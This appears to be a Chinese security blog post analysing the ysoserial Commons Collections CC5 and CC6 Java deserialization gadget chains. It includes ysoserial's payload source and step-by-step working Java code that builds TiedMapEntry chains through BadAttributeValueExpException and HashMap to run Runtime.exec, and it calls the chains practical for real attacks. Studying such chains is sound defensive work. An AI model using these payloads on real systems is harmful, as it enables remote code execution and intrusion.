YsoSerial 工具常用Payload分析之CC5、6(三)

9eek發表於2021-07-28

前言

這是common-collections 反序列化的第三篇文章,這次分析利用鏈CC5和CC6,先看下Ysoserial CC5 payload:

public BadAttributeValueExpException getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		        new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
		Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
		valfield.set(val, entry);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return val;
	}

前面到LazyMap這一段我們已經非常熟悉了,惡意的Transform放到了LazyMap中,只要有其他地方呼叫LazyMap的get()方法即可觸發惡意Transform。

image-20210728151433001

通過IDEA的Find Usages功能,可以看到有上千個地方有對lazymap呼叫,而YsoSerial CC5選擇了TiedMapEntry。

image-20210728152718115

TiedMapEntry

為什麼CC5 選擇使用TiedMapEntry呢,看一下TiedMapEntry的原始碼,其中getValue()有對map呼叫get()方法,那getValue()就能觸發程式碼執行,捎帶的本類中還有equalshashCodetoString 有呼叫getValue,也就是說在TiedMapEntry 能觸發程式碼執行的有 equalshashCodetoStringgetValue這四個方法,其中toString和equals 某些場景下能夠被隱式呼叫。

image-20210728153809441

image-20210728153825744

image-20210728153841450

利用鏈挖掘

將惡意類繫結到TiedMapEntry後,因為可以觸發的方法變多了,同時特別是toString和equel方法更加通用所以,只要找到一個類滿足以下條件,那RCE就能完成了:

  1. 該類有繼承可以被序列化標誌的Serializable介面,或者其父類有繼承Serializable
  2. 該類的readObject方法中有呼叫可控變數的toStringequelhashCodegetValue

滿足這兩個條件其實有很多,對應的分別有

  • 呼叫toString的BadAttributeValueExpException 對應CC5

  • 呼叫hashcode的HashMap,對應CC6

一、BadAttributeValueExpException(CC5)

先來分析下CC5的BadAttributeValueExpException,開啟原始碼定位readObject,非常明顯,有對序列化變數val的toString()操作。

image-20210728161114637

看一下這個val長啥樣:

image-20210728161253256

val是一個Object型別的私有化變數,那思路就很清晰,只要把我們構造的TiedMapEntry 通過反射賦值給val即可。

實操

第一步 構造惡意的LazyMap

		//  第一步 構造惡意lazyMap
        String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<String,String> hashMap = new HashMap<>();
        hashMap.put("testKey","testVal");
        Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);

第二步 構造惡意的TiedMapEntry

		// 第二步 構造惡意的 TiedMapEntry
        TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "9eek");

第三步 構造利用類 BadAttributeValueExpException

這裡有個細節,雖然能夠直接通過構造方法賦值給val,但在構造方法中有對入參做toString操作,那得到的val就是String而不是map了,所以只能通過反射的方式去賦值給val

image-20210728162914358

        // 第三步 構造 BadAttributeValueExpException
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
        ReflectUtils.setFields(badAttributeValueExpException,"val",tiedMapEntry);

第四步 反序列化驗證

       // 第四步 反序列化驗證
        String path =  ExpUtils.serialize(badAttributeValueExpException);
        ExpUtils.unserialize(path);

執行一下,命令成功執行:

image-20210728163056461

HashMap

上面以BadAttributeValueExpException作為利用,下面看一下HashMap#readObject的原始碼,HashMap中有對反序列化的key值做hash操作:

image-20210728163524416

跟進一下hash(),呼叫了key的hashCode()方法,結合我們對TiedMapEntry的分析,這裡只要將key賦值為TiedMapEntry,在反序列化時即可完成RCE。

image-20210728163804360

實操

第一步 構造惡意TiedMapEntry

這裡有一點和前面不一樣,傳遞給chainedTransformer的是一個 new ConstantTransformer(1) 相當於空操作的fakeTransformer,這是為了避免後面在hashmap在put時會執行程式碼。

		//  第一步 構造惡意 tiedMapEntry
        String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };
        Transformer[] fakeTransformer = new Transformer[]{
                new ConstantTransformer(1)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);
        HashMap<String,String> hashMap = new HashMap<>();
        hashMap.put("testKey","testVal");
        Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "entryKey");

第二步 繫結到hashmap上

 Map mapStringHashMap = new HashMap<>();
 mapStringHashMap.put(tiedMapEntry,"outerKey");

第三步 移除第一個hashmap的entryKey

這裡可以想一下為什麼要這麼操作。

因為HashMap不光在readobject時會執行hash操作,在put的時候也會計算hash,這樣put的時候第一個hashmap就已經生成entryKey的key了,而在反序列化的時候系統判斷存在就不會再執行transform方法,也就不會觸發程式碼執行。

image-20210728201256462

其實這裡為什麼在已經傳遞給tiedMapEntry後還能修改第一個hashmap並生效也說明了,Java中傳遞給TiedMapEntry只是一個引用,可以在外面進行修改。

 evilMap.remove("entryKey");

第四步 把惡意的transfomer通過反射重新賦值給chainedTransformer並反序列化驗證

 		ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
        String path = ExpUtils.serialize(mapStringHashMap);
        ExpUtils.unserialize(path);

執行結果:

image-20210728201649306

總結

本篇文章在前文LazyMap的基礎上進一步通過TiedMapEntry封裝,從而帶來了CC5與CC6的反序列化利用鏈,值得說明的是,CC5、CC6目前沒有版本限制,執行非常通用,我在最近的JDK1.8.261下都能成功執行,是在實戰中比較好利用的鏈。

相關文章